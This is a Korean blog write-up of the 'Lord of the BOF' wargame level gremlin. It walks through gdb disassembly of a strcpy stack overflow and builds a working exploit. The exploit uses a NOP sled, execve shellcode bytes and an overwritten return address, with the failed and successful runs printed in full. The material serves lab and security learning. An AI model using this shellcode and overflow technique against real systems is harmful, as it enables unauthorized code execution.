1. intro
사실 옛날옛적, 그러니까 십 몇여년 전에 대부분의 문제를 풀었었다.
다시 해킹 공부를 하기로 마음먹은 뒤에는 일반적인 방법으로 풀고 싶지 않았고, 조금이라도 나에게 도움이 되는 방법으로 풀고 싶었다.
그래서 코드 파일을 보지 않고 gdb를 통한 어셈블러 코드만 보고 문제를 풀었었고, 이 write up 들도 모두 그렇게 글을 써내려갈 예정이다.
물론 시스템이, 컴파일러가 바뀌면서 지금의 어셈블러 코드와 다른 부분이 다소 있긴 하지만, 핸드레이에 도움이 된 것은 확실하다.
누군가 이 글을 본다면 비슷한 방법으로 도전해보는 것도 좋을 것 같다.
2. code 및 분석
2.1 C code
/*
The Lord of the BOF : The Fellowship of the BOF
- gremlin
- simple BOF
*/
int main(int argc, char *argv[])
{
char buffer[256];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
2.3 분석
2.3.1. assembler code
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>: push %ebp
0x8048431 <main+1>: mov %esp,%ebp
0x8048433 <main+3>: sub $0x100,%esp #buffer size : 0x100
0x8048439 <main+9>: cmpl $0x1,0x8(%ebp) #argc 값을 1과 비교
0x804843d <main+13>: jg 0x8048456 <main+38> #비교 값이 작으면 점프. 즉 종료.
0x804843f <main+15>: push $0x80484e0 #0x80484e0 위치의 값 push
0x8048444 <main+20>: call 0x8048350 <printf> #push 값 출력
0x8048449 <main+25>: add $0x4,%esp
0x804844c <main+28>: push $0x0
0x804844e <main+30>: call 0x8048360 <exit>
0x8048453 <main+35>: add $0x4,%esp
0x8048456 <main+38>: mov 0xc(%ebp),%eax #argv[1]의 값을 eax에 넣음
0x8048459 <main+41>: add $0x4,%eax #eax에 4를 더함
0x804845c <main+44>: mov (%eax),%edx #eax의 값을 edx에 넣음
0x804845e <main+46>: push %edx #edx push
0x804845f <main+47>: lea 0xffffff00(%ebp),%eax #ebp-0x100의 값을 eax에 넣음
0x8048465 <main+53>: push %eax #eax push
0x8048466 <main+54>: call 0x8048370 <strcpy> #strcpy call
0x804846b <main+59>: add $0x8,%esp
0x804846e <main+62>: lea 0xffffff00(%ebp),%eax #ebp-0x100의 값을 eax에 넣음
0x8048474 <main+68>: push %eax #eax push
0x8048475 <main+69>: push $0x80484ec #0x80484ec 위치의 값 push
0x804847a <main+74>: call 0x8048350 <printf> #push 값 출력
0x804847f <main+79>: add $0x8,%esp
0x8048482 <main+82>: leave
0x8048483 <main+83>: ret
주요 부분은 strcpy 직전 몇 줄이다.
사전에 알아야할 사항으로 32 bit에서는 main 함수의 ebp 기준으로
ebp = sfp
ebp + 4 = ret address
ebp + 8 = argc
ebp + 12 = argv[0] -> 파일 절대 경로
ebp + 16 = argv[1] -> 인자 1
...
의 주소들이 삽입되어있다.
즉, ebp-0x100 위치에 argv[1]의 값을 삽입하고 그 내용을 출력한다.
3. 취약점 확인 및 공격 준비
3.1 취약점
ebp - 0x100 위치에 argv[1]의 값을 삽입하는데, 그 크기를 체크하지 않기에 main 함수의 ret address를 변조할 수 있다.
3.2 공격 준비
사전에 shellcode를 작성하였고, buffer의 크기를 확인하였다.
이제 return address만 확인해보자.
gdb로 문제 파일의 복사본을 열고 (문제 파일을 열어 실행하려하면 권한이 없어 실행이 불가능하다.)
main 함수의 마지막 즈음에 브레이크 포인트 후
(gdb) disas main
...
0x8048482 <main+82>: leave
0x8048483 <main+83>: ret
(gdb) b *main+83
Breakpoint 1 at 0x8048483
아래와 같이 인자를 전달하며 실행하였고
(gdb) r `perl -e 'print "\x90"x20,"\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80","\x90"x208'`
브레이크 포인트에서의 ebp, esp를 확인하여 값이 잘 들어갔는지, ebp와 ret 위치가 어디인지 확인하였다.
...
(gdb) x/40x $ebp
0xbffffa48: 0xbffffa00 0x400309cb 0x00000002 0xbffffa94
...
(gdb) x/40x $esp
0xbffff948: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff958: 0x90909090 0xc289c031 0x6850c189 0x73736170
0xbffff968: 0x796d2f68 0x622f682d 0xe3896e69 0x80cd0bb0
0xbffff978: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff988: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff998: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9a8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9b8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9c8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9d8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9e8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9f8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa08: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa18: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa28: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa38: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa48: 0xbffffa00 0x400309cb 0x00000002 0xbffffa94
0xbffffa58: 0xbffffaa0 0x40013868 0x00000002 0x08048380
0xbffffa68: 0x00000000 0x080483a1 0x08048430 0x00000002
0xbffffa78: 0xbffffa94 0x080482e0 0x080484bc 0x4000ae60
4. exploit
위에서 알아낸 그대로 페이로드를 작성해서 공격해보았지만 실패하였다.
[gate@localhost gate]$ ./gremlin `python -c 'print "\x90"*20 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "\x90"*208 + "aaaa" + "\x48\xf9\xff\xbf"'`
1hpassh/my-h/bin
㱍aaaaH
Illegal instruction
이럴때의 주요 사유는 실제 buf 변수의 시작 위치와 gdb로 알아낸 위치가 다른 경우가 있기 때문이다.
시도해볼 수 있는 방법은 억지로 임의의 주소로 return하여 core 파일을 만들어버리는 방법이 있다.
[gate@localhost gate]$ ./gremlia `python -c 'print "\x90"*20 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "\x90"*208 + "aaaa" + "\x60\xf9\xff\xbf"'`
1hpassh/my-h/bin
㱍aaaa`
Illegal instruction (core dumped)
[gate@localhost gate]$ ls
core gremlia gremlin gremlin.c
[gate@localhost gate]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `./gremlia 1hpassh/my-h/bin
㱍'.
Program terminated with signal 4, Illegal instruction.
#0 0xbffffa1e in ?? ()
(gdb) info regi
eax 0xbfffff15 -1073742059
ecx 0xbfffff0a -1073742070
edx 0xbffffeee -1073742098
ebx 0xbffffed9 -1073742119
esp 0xbffffa80 -1073743232
ebp 0xbffffea0 -1073742176
esi 0xbffffcdd -1073742627
edi 0xbffffcd3 -1073742637
eip 0xbffffa1e -1073743330
eflags 0x10287 66183
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
cwd 0x0 0
swd 0x0 0
twd 0x0 0
fip 0x0 0
fcs 0x0 0
fopo 0x0 0
fos 0x0 0
(gdb) x/40x 0xbffff960
0xbffff960: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff970: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff980: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff990: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9a0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9b0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9c0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9d0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9e0: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9f0: 0x90909090 0x90909090 0x90909090 0x90909090
core dump시 주소를 확인해보면 nop만 잔뜩 들어있는 것을 볼 수 있고, 이를 토대로 실제 주소는 더 앞에 있다는 것을 유추할 수 있다.
실제 shellcode 앞의 nop 위치를 대략 찾아보면 아래와 같다.
(gdb) x/40x 0xbffff918
0xbffff918: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff928: 0x90909090 0xc289c031 0x6850c189 0x73736170
0xbffff938: 0x796d2f68 0x622f682d 0xe3896e69 0x80cd0bb0
0xbffff948: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff958: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff968: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff978: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff988: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff998: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9a8: 0x90909090 0x90909090 0x90909090 0x90909090
이를 토대로 재 시도해보자.
[gate@localhost gate]$ ./gremlia `python -c 'print "\x90"*20 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "\x90"*208 + "aaaa" + "\x18\xf9\xff\xbf"'`
1hpassh/my-h/bin
㱍aaaa
euid = 500
I dunno
[gate@localhost gate]$ ./gremlin `python -c 'print "\x90"*20 + "\x31\xc0\x89\xc2\x89\xc1\x50\x68\x70\x61\x73\x73\x68\x2f\x6d\x79\x2d\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + "\x90"*208 + "aaaa" + "\x18\xf9\xff\xbf"'`
1hpassh/my-h/bin
㱍aaaa
euid = 501
hello bof world
'Wargame > Hackerchool' 카테고리의 다른 글
[lob] goblin -> orc (0) | 2022.09.12 |
---|---|
[lob] cobolt -> goblin (0) | 2022.09.12 |
[lob] gremlin -> cobolt (0) | 2022.09.12 |
[lob] 들어가기 전에 - shellcode 제작. (0) | 2022.09.08 |
[lob] the Lord Of Buffer overflow를 시작하며 (0) | 2022.09.08 |